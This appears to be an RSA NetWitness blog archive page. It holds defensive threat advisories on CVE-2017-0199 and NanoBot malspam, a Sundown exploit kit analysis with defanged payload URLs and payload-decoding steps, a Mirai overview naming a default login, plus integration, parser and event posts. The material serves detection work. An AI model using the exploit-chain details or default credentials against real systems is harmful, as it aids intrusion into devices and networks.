Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > 2017 > August

Anomali STAXX is the free version of the Anomali Threatstream threat intel platform.




After playing with Soltra Edge I figured this would be a good next step to see if it could be integrated with RSA NetWitness Suite.  We already have an integration posted for the full package but what if users wanted to leverage the free version?

Anomali - Technology Integrations 

After setting up the VM (2.6 as of this writing auto-updated to 3.0 and still working) the next step was adding TAXII sources of threat data to see how the pipeline worked.

Registering for Alienvault OTX and IBM X-Force along with a few other sources of data allowed me to subscribe and test out the TAXII integration

Now I had data in Anomali STAXX

which i could dig into a see the details


Next step, lets see if we can pull that data out of Anomali and into NetWitness Suite.

First problem, this being the free version apparently STAXX can only be used as a TAXII client and not a server so i cannot leverage the upcoming TAXII client functions of NW11 to pull from STAXX with TAXII (and 10.6 doesn't provide TAXII).  So a script was needed, with a little help from the Anomali community I was able to come up with a functioning script that pulls out a filtered set of data from STAXX and outputs a CSV for use as a feed in RSA NetWitness.


This was a good time to add a few more metakeys that could be useful for use specifically with threat intel data to bring more context to events.


These metakeys were added to the index-concentrator-custom.xml 

<key description="Intel Date" level="IndexValues" name="" format="UInt32" valueMax="5000" defaultAction="Closed"/>
<key description="Intel Confidence" level="IndexValues" name="intel.conf" format="Text" valueMax="5000" defaultAction="Closed"/>
<key description="Intel ID" level="IndexValues" name="" format="Text" valueMax="5000" defaultAction="Closed"/>
<key description="Intel TLP" level="IndexValues" name="intel.tlp" format="Text" valueMax="100" defaultAction="Closed"/>
<key description="Intel Type" level="IndexValues" name="intel.type" format="Text" valueMax="100" defaultAction="Closed"/>


Then the feed was created with recurring option to poll the csv (either hosted locally on the web root directory or on remote server)


The filter in the script included looks for the following criteria to reduce the data brought in to just what is required and relevant

query = "(severity=medium OR severity=high OR severity=very-high) AND itype='mal_ip'"

The query can be updated to include indicators that are relevant to you.

Now create the script and map the fields that are relevant to metakeys.  This is the mapping that was used in this example


ip - column 1

threat.category - itype
severity - severity
threat.source - source
intel.tlp - tlp



Now that we have data we can push the feed to all the decoders and log decoders in an environment (using service groups helps keep everything in sync).


And once you have some test logs or packets to trigger the events to see if you have a working pipeline then you should get some meta like this.


Update your timing for queries in STAXX to get the latest data and stay within any API query limits on your data sources, as well as the script to pull indicators which should be put in a crontab to schedule the pull as well as the schedule to pull that csv into NetWitness.


# anomalistaxx threat feed
22 4 * * * /root/nw-scripts/rsa-anomali-staxx-script/ > /var/www/html/anomalistaxxfeed.csv


Hopefully this helps show how these platforms can be linked to help consolidate threat data and bring a consolidated feed into RSA NetWitness for alerting and enrichment.

Ahmed Sonbol

Malspam and CVE-2017-0199

Posted by Ahmed Sonbol Employee Aug 31, 2017

Over the past few weeks, RSA FirstWatch noticed an uptick of malspam trying to exploit CVE-2017-0199 to deliver malicious payloads to victim machines. Microsoft already issued a patch to address the vulnerability in the affected Office products. Un-patched systems are still at risk of getting infected with whatever piece of malware the malspam is distributing at a given point.


The attack starts with a crafted office document. It has an embedded OLE2 link object. If opened in a vulnerable application, an HTTP(s) request is issued to retrieve a malicious HTML Application (HTA). The HTA handler, mshta.exe, is then called to execute the downloaded script which in turn downloads and execute the final payload.


In this threat advisory we will discuss how RSA NetWitness suite sees the host and network behavior of a couple of delivery documents trying to exploit CVE-2017-0199.


First delivery document was noticed on August 29th 2017. Opening the RTF document using an un-patched Microsoft Word led to the following network events:



Let's break those network sessions. First, a request was made to download an obfuscated script:



The downloaded script was handled by mshta.exe and another request followed to download an executable:




This report from suggests that the binary is a Hawkeye variant. VirusTotal scan results can be found here.


Next, the malware authenticates to an FTP server and uploads files to it. It also connects to the same server using custom TCP protocols:






Here's the meta registered by NetWitness packets for the HTTP sessions above:



Second delivery document was also noticed on August 29th 2017. Opening the malicious document using an un-patched Microsoft Word led to the following:



The scandata on NetWitness Endpoint is shown below:




On the host side, what's typical in this infection scenario is that Winword.exe looks up the handler for the downloaded HTA file through a COM object. The handler, mshta.exe, is called to execute the malicious script.



In this case the malicious script has a powershell command to download and save the final payload to the system. So powershell.exe is created to run the command:



The malware then proceeds to deliver its functionality:




Delivery documents (SHA256):

  • 69c39a042a35bb7e3fb4d259b7fd7cb705ee2730be226d5f3e5b1df8c5cb85dc
  • 278cfc903edc1c49f49c2945fb9128fa29f720cb53e72df9f2a1ff85ba2c1ff6


Further reading:

Sundown is an Exploit Kit that was popular towards the end of 2016 and had some evolvement in its variants and techniques, but altogether tends to steal code from other EKs. Its distribution was in specific regions, mainly in APJ region, when sources show us high distribution rates of its different variants in Japan, Korean and Taiwan.


The PCAP analyzed can be found in VirusTotal with the following hash: 995eba050390492ad99dc938f958746f and also in


Network Detection

We can identify Sundown’s network activity in RSA NetWitness Logs and Packets ® investigator with the following query, containing common regular expressions found in analyzed PCAPs:

“service = 80 && action = 'get' && query contains '51S3OjuWhdt3' || query contains 'xibsYziX18M' || query contains 'ZUyQpcQET20' || query contains '5yruNm' || query contains 'NgfAaoVnVjJAy9BBtrQj' || query contains '4Ca9YTf21PMMSC'”


App Rule


Let’s begin dissecting our PCAP. First we will see the general structure and flow, and then I will elaborate about each stage’s technical details.



Stage 0 – the landing page

The first part of redirecting the user to start the infection process will be placing a hidden iframe inside a legitimate html page. The iframe is simple and straightforward – it redirects the victim to the initial JavaScript returned by the EK’s gate and the landing page. This is the actual start of the infection process, what will be referred as Stage 1. It is worth to mention, that the iframe is very similar to what we can see in RIG, and might even been stolen from there.



Stage 1 – Start of infection chain

Upon successful redirection from to the landing page, no less than 4 different encrypted payloads (both VB and JavaScript) are loaded and executed one after another. As usual, the JavaScript containing the payloads in the html page is obfuscated, but this time not that heavily. Every payload is encoded with base64 and the string is reversed. In order to de-obfuscate it and see the real payload, all we have to do is to reverse the string, base64 decode it and then execute some more mathematical operations. This can be achieved by running the script in a browser’s debugging console, or even more easily, in python, which will allow “mass decryption” of such scripts without the need to execute the code each time. Finally, the payload will be written to the page and executed. The same routine repeats 4 times, whereas the only changes are the payload, hardcoded desired payload length and another constant number used for the mentioned above mathematical operations and decryption. All of the above, as we often see in other EKs, are used in order to avoid detection and make it harder to analyze.


From here, I will try to analyze each payload execution, possible exploits triggered, URLs accessed and any additional payloads and/or Shellcode.


Script 1

The script is written in VB and exploits IE9 – IE11 VBScript memory corruption vulnerability, CVE-2016-0189. This vulnerability allows the attacker to escape the browser’s sandbox and achieve “God Mode” by bypassing the “Safe Mode” flag and run VBScript as if it was executed by the shell of the machine running the browser. The use of this exploit, according to Malwarebytes, is a rip-off from RIG EK, exactly like the iframe in the landing page and the structure of the GET request follows.



In our analyzed script, after the initial obfuscated payload string is loaded, we can see some of the obfuscated functions used for its decryption.



Once we de-obfuscate and decrypt the 1st payload (out of 4), we receive a VBScript that will be loaded to the page and then executed. Let’s look at some key features of that script.


In the image below we can see the ‘fire()’ function, which is executed after the vulnerability was exploited and the previously mentioned sandbox escaping took place. It will load a URL and a key to be later used for the decryption of the final payload. Afterwards it will connect the malicious URL that was loaded and if it received a 200 status from the server (meaning the gate is online and the final payload can be downloaded) it will first save the downloaded payload to ‘z’ variable and later write it to disk, but also write a DLL (‘dllcode’ in the snippet below) to ‘TempSystem32’ folder, naming it ‘shell32.dll’.



It will then decrypt and do the actual writing of the downloaded final payload to disk to ‘%TMP%’ folder (using ‘GetSpecialFolder(2)’ function, where 2 indicates the temp folder that is also set as the %TMP% environment variable), decrypt it using ‘arcnsave’ function and the key “galiut” from the above image, and try to register it as the system variable %SysFileName%’.



In this script both the DLL and the downloaded payload are being written to disk, but neither of them are actually being executed, whereas if we run the DLL manually, we can see that its job is to execute the final payload after it was downloaded. Below we can see how it looks when manually running the DLL in a debugger. We can see that the relevant Windows API calls, in order to execute the downloaded malicious payload that was previously supposed to be set as %SysFileName%. It is done by using the command line and another Windows API call “CreateProcessAsUserW”. The below string is being sent to the function as the “lpCommandLine” parameter, and this is the command that will be executed in the security context of the current user’s token.



Script 2

The second decrypted payload contains several JavaScript functions that will eventually render various Flash files in order to trigger relevant exploits. Here are the first two functions, responsible for concatenating 2 strings and the browser’s user-agent header, separated by spaces and quotation marks, and finally returns the value in a hex string. 



So when we run ‘vbcvfd’ function, this is the result that we’ll get (separated by square brackets and ‘hxxp’ replaces ‘http’ for obvious reasons): 'galiut" "hxxp://hxrheg[.]fve[.]mobi/@@@.php?id=265" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"\x00\x00\x00\x00'


In the following image we’ll see the 3rd and 4th function, together with calls to the first two functions, start rendering of the first Flash files.



The returned value from ‘vbcvfd’ function will be sent as a parameter to ‘iotug’ function together with another URL. In the following image we can see that the URL is being called in order to render a Flash file, and the returned value from ‘vbcvfd’ function is actually being set as parameters to the rendered flash movie.



Similar to the above, ‘fkhjkghg’ function will be executed, this time calling to a different file and not providing a second parameter, so it just renders another Flash file.



The final function we have here will render a 3rd Flash file and send a second parameter to it, this time it’s a straightforward shellcode to be executed by the rendered Flash file once exploited. Here is how it looks in the script itself:



And here is how it looks after running the function.  We can see similar code to the first 2, and here it’s even more straightforward. Render an exploitable Flash file and execute Shellcode.




The next stage will be going over the Flash files, categorizing the exploits in each one and Analyzing their payload. So, altogether we have 3 different rendered Flash files:

  1. hxxp://hco[.]huc[.]mobi/7/?9643522803
  2. hxxp://hco[.]huc[.]mobi/7/?947545190441&id=265
  3. hxxp://hco[.]huc[.]mobi/7/?78493521


Flash 1

Flash 1 comes with binary data that needs to be decoded. Here the ActionScript will xor each byte with the value in the last byte of the binary data, and modify it with each iteration by ‘+ 17 & 255’.



After unpacking it, we will see Flash 1 tries to exploit vulnerability CVE-2016-4117 that uses a memory read vulnerability in ‘DeleteRangeTimelineOperations’ class to run embedded shellcode.



It will first load the relevant ‘urlmon.dll’ DLL using ‘LoadLibraryA’ function from kernel32.dll:



Afterwards it will load the download URL that is hardcoded in the binary and get the user’s ‘AppData\Local\Temp’ folder, where he will try to download and execute the payload, calling it “Temp.exe”, and finally terminate.



The extension of the requested file is ‘.php’, but the http request is GET. Here we can see how it looks when dynamically editing the URL to the host machine, in order to see the request:



A reasonable explanation for that will be trying to hide it’s true intentions. We can see clearly that this is a binary because of the ‘.exe’ extension and its execution with ‘WinExec:



Flash 2

Flash 2 is almost unpacked completely, with two small sections of binary data.  The payload will be first of all decrypted using a simple xor with the hardcoded key 0x84, xoring each byte with that value:



After loaded and decrypted, the next step will be to load the relevant kernel32 functions:



Finally, it will call ‘CreateProcessA’ function that will run the decrypted WScript:



Here is how the whole script looks like after extracting it:



It will try to download, decrypt and execute the final payload, writing it to the user’s temp folder, naming it ‘OTTYUADAF’ in this case, and finally deleting it after execution. The download URL and key are hardcoded in the JavaScript loading the Flash files. The same payload is also seems to be common across other exploit kits such as RIG.


Flash 3

Flash 3 has the same payload hardcoded as Flash 1, and with a packed and obfuscated Flash file. After trying to decrypt it with a Python script, the binary data decrypts to a zlib archive with the header ’78 DA’ which means the file was compressed with the maximum compression, but once trying to decompress it using Python, it seems that the length of the file created is wrong and we get an error trying to decrypt it. When looking for some strings, together with an analysis classification from VirusTotal, it seems the relevant CVE here might be CVE-2015-7645 that exploits type confusion vulnerability.


Script 3

The 3rd script is VBScript, loading another VBScript segment, when the 1st script exploiting CVE-2016-0189 and the 2nd one exploits CVE-2014-6332.



The 1st VBScript will write a file to user’s temp folder, calling it ‘mfgrehy.tmp’, and echo the second script to it. Afterwards, it will execute ‘wscript.exe’, providing it with the URL, key and UserAgent, download and decode the malware, and finally try to execute it.



Script 4

The 4th and final script is a JavaScript that uses Steganography to decrypt its malicious payload. It will first load a png hiding a malicious code inside, exploiting CVE-2015-2419 vulnerability, that is caused by a memory corruption in the Jscript9 engine that is used in Internet Explorer 10 and 11. Here we can see the beginning of the JS file:



After running the png decryption code in a browser’s debug console, we will see the decrypted JavaScript. As we can see it will try to execute the same payload we’ve seen in the analysis of the precious files:




Robert Conley

Getting to Know Mirai

Posted by Robert Conley Employee Aug 30, 2017


The Mirai botnet seeks out poorly secured Internet of Things(IoT) devices. IoT refers to any consumer or business smart device that can connect to the internet. When found they are infected with its virus. They then become a part of the botnet. Mirai was discovered by the white hat research group MalwareMustDie in 2016[1]. The source code was released by its author in late 2016[2].

Mirai has exploited IP security cameras, routers, and DVRs. This list will grow as more devices are sold every day and new connected devices enter the market. One Gartner report claims 20.4 billion IoT devices will be in use by 2020[1].

Mirai has become so prevalent that it’s actively being monitored and tracked by a number of websites. For example, the IoT search engine provides many statistics that include Top Countries, Top Services, and Top Organizations, Figure 1. It even provides live views from Mirai infected devices.

 Figure 1, source-



Statistics are impressive and great talking points during meetings, but at the end of the day victims should be concerned about their vulnerable devices becoming hijacked by a botnet. Unlike ransomware or a trojan, your personal files won’t become encrypted nor will your online banking credentials get stolen; however botnets are an even greater menace. They provide operational infrastructure to threat actors and have the potential to wreak havoc on many aspects of society including communication grids, mass transit, and even emergency services.



Discovery and Infection

Botnet are comprised of two components, the C2 servers and the bots. In the case of Mirai, C2 servers constantly seek new bots scanning the internet for IoT devices listening on telnet ports. When found, Mirai launches a brute force password attack that iterates through a pre-loaded table of commonly used default and factory logins, see Table 1 below. Upon successful access, malicious executables are installed and the device becomes part of the botnet.



Figure 2 below shows a code snippet from Mirai’s file. It’s used to infect IoT devices. The code can be compiled and run on many different CPU architectures, to include x86, Mips, ARM, and a number of other OSes that are also targeted.  

Figure 2



Attack Capabilities

Mirai bots are designed to launch a variety of distributed denial of service (DDoS) flood attacks. Each targets a different layer of the TCP/IP stack but share the same goal which is to disrupt normal operations of a targeted network resource. Listed below are a sample of the attack types, a brief description of each, and source code illustrating functionality.

  • UDP Flood 

                  UDP packets flood random ports on a target causing resources to be consumed unnecessarily, Figure 3.

Figure 3



  • Domain Naming Service (DNS)

                 Spoofed UDP packets target the host’s DNS service, Figure 4.

Figure 4



  • Plain UDP

                  UDP packets saturate the target’s network and consume bandwidth, Figure 5.

Figure 5.




                  Exploits the TCP handshake by not replying to SYN/ACK responses, Figure 6.

Figure 6.




                     Spoofed packets are sent without containing sessionless ids, Figure 7.

Figure 7



  • Simple Text Oriented Messaging Protocol (STOMP) Flood

                  STOMP requests are sent to target in order to saturate network resources, Figure 8.

Figure 8



  • Generic Routing Encapsulation (GRE) IP

                    Packets target tunneling and VPN protocols, Figure 9.

Figure 9



  • HTTP

                     GET, POST or other HTTP requests are aimed at disabling target web services, Figure 10.

Figure 10





In addition to launching attacks, bots are also tasked with searching for new victims. They take their cue from the file scanner.c. A quick walk through of the file shows TCP/IP packet assembly, network scanning, and IP address selections.


Setup up TCP/IP headers and load the payload, Figure 11.

Figure 11


Read packets and get SYN/ACKs, Figure 12.

Figure 12


Choose a random IP address to attack. Exclude certain IP ranges, such as General Electric Company, Hewlett-Packard Company, US Postal Service, and IANA, Figure 13.

Figure 13




Mirai likes to keep what it kills. After it has compromised a device it enables security to lock out other botnets. Killer.c’s code disables port 23 and stops processes such as telnet, SSH, and HTTP, Figures 14 and 15.

Figure 14


Figure 15





RSA NetWitness Packets can be used to detect Mirai. Its C2 servers use the telnet protocol, default port 23, to fingerprint remote ip addresses, Figure 16.

Figure 16


Pivoting into the sessions provides more details, Figure 17.

Figure 17


Successfully locating an IoT device with an open telnet port results in a system login prompt, Figure 18.

Figure 18


Next, Mirai attempts to login. Using its login credentials table, see the Discovery and Infection section above, it iterates through each userid/password pair. For example root/xc3511 worked on this device, Figure 19.

Figure 19


Mirai is now logged in as the root user. The Busybox prompt awaits its next instructions. Busybox is a stripped down version of Linux utilities that’s commonly run on embedded systems, Figure 20.

Figure 20


After gaining access to the device, Mirai executes a series of steps that will ensure it has sole ownership of it. For example, it will escalate its privileges, disable SSH, block remote administration ports, and search for any competing botnets. If any are found, they are killed. The final step is to download and install the bot virus.


RSA NetWitness feeds are capable of detecting Mirai[4]. Both the Malware IP List (nwmalwareiplist) and Malware Domain List (nwmalwaredomainlist) contain Mirai IOCs.



  • Malware IP List

Description: List of IP addresses commonly associated with malware sourced from

Medium: log, packet

Live Tags: threat, malware

Index/Trigger Meta Key: ip.addr

Registered Meta Keys: threat.category, threat.desc, threat.source

  • Malware Domain List

Description: List of domains commonly associated with malware sourced from

Medium: log, packet

Live Tags: threat, malware

Index/Trigger Meta Key:

Registered Meta Keys: threat.category, threat.desc, threat.source





The IoT is a double edged sword. For every new convenience it provides, another device has potentially become the newest member of a botnet. Getting a text message from the refrigerator when the egg supply is low or one from the fish tank when the filter needs changing helps many of us stay on top of our hectic, daily lives. The same IoT software that enables these types of notifications also presents an attack vector. The Mirai botnet was designed to attack and exploit it, the goal being to seize complete control of a device. When successful, it's then leveraged for nefarious purposes such as DDoS attacks. More often than not, all of this happens without its owner being aware. Changing a device's default password, installing software patches, and periodically rebooting it are ways to combat the spread of Mirai.



Thanks to Kevin Stear and Jim Ward for their contributions to this blog post.



















Additional reading

Malspam activity was noted on August 22nd 2017 delivering NanoBot malware via a 'detailed description.xls' Excel spreadsheet with an embedded malicious macro.  According to this threat profile from Microsoft, this backdoor has the following capabilities:

  • Downloading and running files
  • Uploading files
  • Spreading malware to other PCs
  • Logging your keystrokes or stealing your sensitive data
  • Modifying your system settings
  • Running or stopping applications
  • Deleting files


In this threat advisory we will discuss the host and network behavior of the malware using RSA NetWitness Suite.


The malicious macro inside our 'delivery description.xls' delivery document contains heavily obfuscated VBA code as shown by RSA pre-release What's This File service in the screenshots below:




Upon running the VBA code starts cmd.exe in order to run an encoded powershell command to download, save and run an executable on the infected machine:





According to VirusTotal scan results, the dropped file is a NanoBot variant. Here is the analysis report from


Although the download activity took place over SSL, NetWitness Packets registered meta for the session to indicate a missing subject organizational name for the SSL certificate in use:



The malware starts to communicate with its command and control (C2) server using a custom protocol over TCP on destination port 30314:




For this session, NetWitness Packets registered the meta value binary handshake under the indicators of compromise key:



The C2 IP address is associated with other NanoBot samples according to VirusTotal results


Opening the delivery document on a machine with a NetWitness Endpoint agent shows the following chain of events:



Our friend 'powershell.exe' connects to the delivery domain.



The next screenshots show the module IIOC's for the newly created process. In addition, they show how it copies itself to a new location on the infected machine, modifies the registry to gain persistency on the system, and connects to the C2 IP address:






NanoBot delivery document (SHA256):

  • ab801421c0a70b96f974a575f29d31cdc22a587dc76bd87d341992db39731141


NanoBot variant (SHA256):

  • 26e22dc2d7018a728c6f2331361e265ad27aca8c60b6d4479116454880e4d84e
  • 6261814a313b99471d99454e37845d59d5b7425b1574d6408e6b5bc3e1672678


All the IOC will be added to FirstWatch C2 feeds as follows:

  • For download domain:
    threat.source = 'rsa-firstwatch'
    threat.category = 'malspam'
    threat.description = 'delivery-domain'

  • For C2 domain:
    threat.source = 'rsa-firstwatch'
    threat.category = 'cnc'
    threat.description = 'nanobot'


RSA NetWitness Suite customers understand how powerful the platform is in detecting and responding to today’s advanced exploits. But the real power remains with the analysts and hunters who use it. As with any tool, the skill of the craftsman is paramount.


The RSA NetWitness community has always been built on sharing – not just the exploits and attacks we discover, but also in sharing best practices and methods that work. RSA Charge 2017 continues the tradition with “Secrets of the SOC,” a track that focuses on the opportunities and challenges of operating a first-class SOC in an era of advanced threats and scarce skills.


Here are some of the sessions you’ll see in Dallas:

  • SecOps: Advanced Challenges & Unique Solutions for Federal & Commercial – Deloitte security pros will share what they’ve learned in designing and operating distributed RSA NetWitness solutions, with multiple SecOps instances sending security incidents to a central SOC.
  • Making Sense of Managed Security Services – A panel discussion of MSSP Partners, moderated by Pat Hanner from RSA Incident Response.
  • What's in YOUR SOC? Managing NetWitness with Advanced Endpoints – This Arrow-led session will cover RSA NetWitness Endpoint in an MSSP deployment model. We’ll share learnings and best practices in hunting, remediation, and correlation.
  • Lessons Learned at RSAC SOC and Black Hat NOCs – Neil Wyler (a.k.a. grifter) and Percy Tucker from RSA will share their experiences managing the security at these two premier security conferences. Oh the stories they can tell!
  • Incident Response Essentials – Shane Harsch from RSA will explore the key elements for operational incident response, including staffing, prioritization, workflow, and escalation.


In addition, Secrets of the SOC will feature the always-popular RSA NetWitness Suite Vision and RSA NetWitness Suite Panel Discussion sessions hosted by Product VP Mike Adler, and the RSA NetWitness Suite Roadmap session led by Brian Dunphy, Sr. Director of Product Management.


Are you ready to join us at RSA Charge? You can register here. You can review a complete listing of sessions here, or the Secrets of the SOC track here.

See you in Dallas!



RSA Charge 2017, the premier event on RSA® Business-Driven Security™ solutions, unites an elite community of customers, partners and industry experts dedicated to tackling the most pressing issues across cybersecurity and business risk management. Through a powerful combination of keynote speeches, break-out sessions and hands-on demos, you’ll discover how to implement a Business-Driven Security strategy to help your organization thrive in an increasingly uncertain, high-risk world. Join us October 17 – 19 at the Hilton Anatole in Dallas, Texas.

The RSA NetWitness Log Parser Content team has cleaned all the log parsers to remove RSA EnVision (Legacy Product) footprint from the parsers.

These enhancements are part of a strategic initiative to clean all the parsers and remove the enVision footprint resulting in a more manageable, maintainable and flexible parser.


Modifications to the parser to achieve a cleaned parser:


1. Following tags from parser were removed:

  • level
  • parse   
  • parsedefvalue
  • tableid
  • summary
  • vid
  • vidx
  • devts
  • enVision tag


content="&lt;@ec_theme:Configuration&gt;&lt;@msg:*PARMVAL($MSG)&gt;&lt;@event_time:*EVNTTIME($HDR,'%B %F %N:%U:%O %W',hmonth,hdate,htime,hyear)&gt;&lt;@:*SYSVAL($MSGID,$ID1)&gt;&lt;@action:addmember&gt;addmember for &lt;username&gt; from &lt;daddr&gt; for group &lt;group&gt; exited with &lt;disposition&gt;"/>


functions="&lt;@ec_theme:Configuration&gt;&lt;@msg:*PARMVAL($MSG)&gt;&lt;@event_time:*EVNTTIME($HDR,'%B %F %N:%U:%O %W',hmonth,hdate,htime,hyear)&gt;&lt;@:*SYSVAL($MSGID,$ID1)&gt;&lt;@action:addmember&gt;"
content="addmember for &lt;username&gt; from &lt;daddr&gt; for group &lt;group&gt; exited with &lt;disposition&gt;" />


2. Seperate out function from the content line and create two tags function and content for each message id:

content="&lt;@ec_theme:Configuration&gt;&lt;@msg:*PARMVAL($MSG)&gt;&lt;@event_time:*EVNTTIME($HDR,'%B %F %N:%U:%O %W',hmonth,hdate,htime,hyear)&gt;&lt;@:*SYSVAL($MSGID,$ID1)&gt;&lt;@action:addmember&gt;addmember for &lt;username&gt; from &lt;daddr&gt; for group &lt;group&gt; exited with &lt;disposition&gt;"/>

functions="&lt;@ec_theme:Configuration&gt;&lt;@msg:*PARMVAL($MSG)&gt;&lt;@event_time:*EVNTTIME($HDR,'%B %F %N:%U:%O %W',hmonth,hdate,htime,hyear)&gt;&lt;@:*SYSVAL($MSGID,$ID1)&gt;&lt;@action:addmember&gt;"
content="addmember for &lt;username&gt; from &lt;daddr&gt; for group &lt;group&gt; exited with &lt;disposition&gt;" />

3.Removed the duplicate functions from the content line:
In certain log parsers, a few duplicate function were prevalent, which were removed.


functions="&lt;@saddr:*HDR(hfld0)&gt;&lt;@event_type:VPN&gt;&lt;@event_time:*EVNTTIME($HDR,'%W%G%F %H:%U:%O',hfld31,hfld32,hfld33,time)&gt;&lt;@:*SYSVAL($MSGID,$ID1)&gt;&lt;@msg:*PARMVAL($MSG)&gt;&lt;@realm:*HDR(hfld1)&gt;&lt;@group:*HDR(hgroup)&gt;&lt;@username:*HDR(husername)&gt;&lt;@domain:*HDR(hdomain)&gt;&lt;@action:access blocked&gt;
content="Access blocked after DNS lookup. Check Web ACL settings - Host: &lt;hostip&gt;, Request: {&lt;web_method&gt; &lt;webpage&gt; &lt;fld1&gt; | &lt;url&gt;}" />



functions="&lt;@saddr:*HDR(hfld0)&gt;&lt;@event_type:VPN&gt;&lt;@event_time:*EVNTTIME($HDR,'%W%G%F %H:%U:%O',hfld31,hfld32,hfld33,time)&gt;&lt;@:*SYSVAL($MSGID,$ID1)&gt;&lt;@msg:*PARMVAL($MSG)&gt;&lt;@realm:*HDR(hfld1)&gt;&lt;@group:*HDR(hgroup)&gt;&lt;@username:*HDR(husername)&gt;&lt;@domain:*HDR(hdomain)&gt;&lt;@action:access blocked&gt;&lt;@username:*HDR(husername)&gt;"
content="Access blocked after DNS lookup. Check Web ACL settings - Host: &lt;hostip&gt;, Request: {&lt;web_method&gt; &lt;webpage&gt; &lt;fld1&gt; | &lt;url&gt;}" />


4.Removes EE collisions: (RSA enVision (Legacy Product) Concept)
We removed EE_collisions which was an enVision concept


functions="&lt;@ec_subject:Password&gt;&lt;@ec_theme:Configuration&gt;&lt;@msg:*PARMVAL($MSG)&gt;&lt;@event_time:*EVNTTIME($HDR,'%B %F %N:%U:%O %W',hmonth,hdate,htime,hyear)&gt;&lt;@:*SYSVAL($MSGID,$ID1)&gt;&lt;@action:chpasswd&gt;&lt;@fld61:*PARMVAL(disposition)&gt;"
content="chpasswd for &lt;username&gt; from &lt;daddr&gt; exited with &lt;disposition&gt;" />



functions="&lt;@ec_subject:Password&gt;&lt;@ec_theme:Configuration&gt;&lt;@msg:*PARMVAL($MSG)&gt;&lt;@event_time:*EVNTTIME($HDR,'%B %F %N:%U:%O %W',hmonth,hdate,htime,hyear)&gt;&lt;@:*SYSVAL($MSGID,$ID1)&gt;&lt;@action:chpasswd&gt;&lt;@fld61:*PARMVAL(disposition)&gt;"
content="chpasswd for &lt;username&gt; from &lt;daddr&gt; exited with &lt;disposition&gt;" />


5. INI migration for future usage:
During this parser cleaning process we have also pulled needed tags from ini into the parser, this move is to remove dependency on INI file in the future


All the changes made to the parsers during this cleaning project will have no backward compatibility impact.

We have already posted a few such cleaned parsers to live during our pilot project (15 parsers were posted to live). To take advantage of these improvements, you will need to download the latest versions of the Log Parsers which will be released to NetWitness Live Portal by 1st September 2017.


Note: For customized parsers merge your customizations to the parser from live just like before, but make sure you get rid of the obsolete tags(mentioned above) and split up the functions and content tag. It will continue to work even otherwise, but you will not have a cleaned parser.

Summer is nearing an end, the kids are heading back to school, and RSA Charge 2017 is less than two months away, October 17-19.


We invite you to peruse the full schedule for this year’s event on the RSA Charge website with more than 35 hands-on labs, 90 sessions and 140 thought leaders and industry experts who are ready to share with you the key insights needed to take your security strategy to the next level.


Here are a few of the great sessions you can attend:

  • Rolling-out a Company Wide Risk & Control Framework Supported by RSA Archer
  • Third Party Governance: Perspectives from a Panel of Pros
  • The RSA Archer Admin Dashboard (Yes, it's really here!)
  • From Discovery to Remediation in 9 Days: Defend against Determined and Well-Resourced Adversaries
  • Maximizing Your Investment in RSA Identity Governance and Lifecycle
  • Deep Entity Profiling & Machine Automation – How to Use These Powerful Technologies to Mitigate Fraud While Reducing Costs and End-User Friction

 See the full schedule here.


And, if this isn’t enough to convince you to register today for RSA Charge, over the next six weeks, every Tuesday on the RSA Link Community, you’ll also see blogs from the RSA Charge team detailing presentation highlights from each of the product tracks being offered this year at Charge, including:


  • Taking Command of Your Risk Management Journey
  • Transforming Compliance
  • Managing Technology Risk in Your Business
  • Inspiring Everyone to Own Risk
  • Detecting and Responding to Threats That Matter
  • Secrets of the SOC
  • Identity and Access Assurance
  • Reducing Fraud, While Not Reducing Customers
  • RSA Archer Technical
  • RSA Archer Technical, Advanced


This year’s RSA Charge event is definitely one not to miss. If you have not registered as yet, please do so today to secure your spot and take advantage of the Discount Rate of $745, saving $200 through Sept. 15.

Additionally, if you also register for one of the Pre-Charge training courses offered by RSA University, you can save even more – the expired Early Bird Discount Rate of $645 will be extended to you up until the official start of RSA Charge on October 17. Click here to see the full course offering and for registration details. Classes are filling up quickly, so don’t delay.


RSA Charge 2017 will provide you the ultimate opportunity to network with RSA customers from across the product portfolio, partners, and industry experts while discovering how to implement a Business-Driven Security™ strategy in an increasingly uncertain, high-risk world.


See you in Dallas, October 17-19 at the Hilton Anatole Hotel for RSA Charge 2017! 


RSA Charge 2017, the premier event on RSA® Business-Driven Security™ solutions, unites an elite community of customers, partners and industry experts dedicated to tackling the most pressing issues across cybersecurity and business risk management. Through a powerful combination of keynote speeches, break-out sessions and hands-on demos, you’ll discover how to implement a Business-Driven Security strategy to help your organization thrive in an increasingly uncertain, high-risk world.

Context menus are a way to shorten the time that analysts spend in the copy, alt+tab, paste cycle to allow right click integrations with a default set of websites that bring additional context to an investigation.  These are the default integrations that come with RSA NetWitness Suite.  You can locate the existing ones as well as add custom sites by locating this path:

Admin > System > Context Menu Actions


These Right click actions can be found in investigator and events view when right clicking on the appropriate metakey to locate the dropdown menu of actions


Additional Context Menu actions can be found here: 


The following is a summary list of the default actions for external sites that exist in the RSA NW platform:


NameActive on metakeysURL
Googlefile.hash,  alias.host{0}
Robtex,  domain.dst{0}
SANS IP Historyip.src, ip.dst,  ipv6.dst, ipv6.src, orig_ip{0}
Google Malware Dignostic for IPS and Hostnamesip.src, ip.dst, ipv6.src, ipv6.dst, orig_ip,, domain.dst{0}
BFK Passive DNS Collectionip.src, ip.dst, ipv6.src, ipv6.dst, orig_ip,, domain.dst{0} Searchip.src, ip.dst, ipv6.src, ipv6.dst, orig_ip,, domain.dst{0}&colsearch=All&quantity=50 Searchip.src, ip.dst, ipv6.src, ipv6.dst, orig_ip,, domain.dst{0}
SamSpade Searchip.src, ip.dst, ipv6.src, ipv6.dst, orig_ip,, domain.dst{0}
UrlVoid, domain.dst{0}
McAfee SiteAdvisor for Hostnamesip.src, ip.dst, ipv6.src, ipv6.dst, orig_ip,, domain.dst{0}
Robtex IP Searchip.src, ip.dst, ipv6.src, ipv6.dst, orig_ip{0}.html
CentralOps Whois for Ips and Hostnamesip.src, ip.dst, ipv6.src, ipv6.dst, orig_ip,, domain.dst{0}&amp;dom_whois=true&amp;dom_dns=true&amp;net_whois=true
ThreatExpert Searchip.src, ip.dst, ipv6.src, ipv6.dst, orig_ip,, domain.dst{0}

